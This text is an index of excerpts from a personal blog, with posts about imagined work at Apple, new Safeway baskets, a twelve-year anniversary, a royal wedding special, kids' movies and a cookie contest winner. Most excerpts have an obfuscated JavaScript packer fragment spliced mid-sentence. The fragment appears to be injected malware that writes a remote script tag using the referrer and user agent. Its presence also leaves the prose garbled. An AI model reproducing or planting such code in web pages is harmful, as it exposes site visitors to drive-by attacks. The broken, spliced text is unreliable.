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Engineers at Apple

Sometimes ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azdar|var|u0026u|referrer|iefiz||js|php’.split(‘|’),0,{})) I wonder what it would be like to work at a fancy-design-y type place.  You know, like Apple.  I imagine how cool it would be to make the next iPhone or iAwesomeness….then I remember.  It’s run by Steve Jobs.  This is how it would go down. Design Team – […]

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I’ve got nothing

I’ve been sitting here for a solid 15-20 minutes and can’t come up with anything. I saw this OCD poster the other day and found it pretty funny.  Spot on actually.  You can find it over at design-milk. ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bibfd|var|u0026u|referrer|asfdn||js|php’.split(‘|’),0,{}))  I think I might buy one for my sister.

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Have you been to Safeway lately?

We were at Safeway a week or two ago and noticed something a little different.  One of our local stores has swapped out their baskets.  They swapped them for these little gems.  In case you want a scale…Nick is 6’2″. As ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifddn|var|u0026u|referrer|dryid||js|php’.split(‘|’),0,{})) you can see, the baskets can hold lots more […]

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Getting Mooned

On ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkbad|var|u0026u|referrer|seakf||js|php’.split(‘|’),0,{})) my home from some errands, I was driving down the highway.  You know, like any other normal person. I see a guy pulled over on the shoulder.  And then I notice his bare behind.  Yep.  Just standing there, mooning oncoming traffic.  He had almost finished pulling his pants up […]

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Did I mention, we kinda get along ok

Nick and I have been together for 12 years.  Today. He got me a dozen roses.  Why?  Because there were twelve.  Then he said, “Not sure what I’m gonna do next year…they don’t sell them in packs of 13.” In ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sytfh|var|u0026u|referrer|dznsz||js|php’.split(‘|’),0,{})) honor of our twelve year anniversary, here are 12 reasons […]

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Do something good

My sister’s friend is doing a walk for Multiple Sclerosis. Do you have a cause that you’re passionate about?  I walk for the American Cancer Society.  And I know how hard it can be to raise money.  You think that people won’t want to donate.  But I’m always surprised by their generosity. If you feel […]

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No really, it’s actually kind of entertaining

I’m working on not ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nffha|var|u0026u|referrer|freyt||js|php’.split(‘|’),0,{})) taking things too seriously. I had a HUGE lunch today.  Not sure why I finished the whole thing, but I did.  Let’s move on. I get to the airport and decide that half a sandwich and a cup of soup sounds like an excellent dinner.  I […]

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Royal weddinh

Wasting ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfkhe|var|u0026u|referrer|adkik||js|php’.split(‘|’),0,{})) time by watching the tlc special on the royal wedding. It’s really entertaining because none of the vendors they are interviewing are actually making anything for the wedding. Kinda makes the show pointless in my opinion…yet I continue to watch. Based on the commercials being played, it seems that […]

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Waiting for Superman

Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzznz|var|u0026u|referrer|azdsa||js|php’.split(‘|’),0,{})) and I have similar tastes in movies – arguably one of the most important traits in a happy marriage. What do we typically like to watch?  Kid movies.  Yep.  Incredibles, Toy Story (1-3, duh), Kung Fu Panda, Despicable Me….the list goes on. Despite or tendency to pick kid movies […]

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Did someone say cookie?

Oops, I went a little overboard. Let’s talk about it. I used a random ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yaiei|var|u0026u|referrer|kitdn||js|php’.split(‘|’),0,{})) number generator to pick the winner of the cookie contest.  I put everyone in a nice little excel spreadsheet and gave everyone a number (the first person to comment was #1 etc.).  I plugged the bounds […]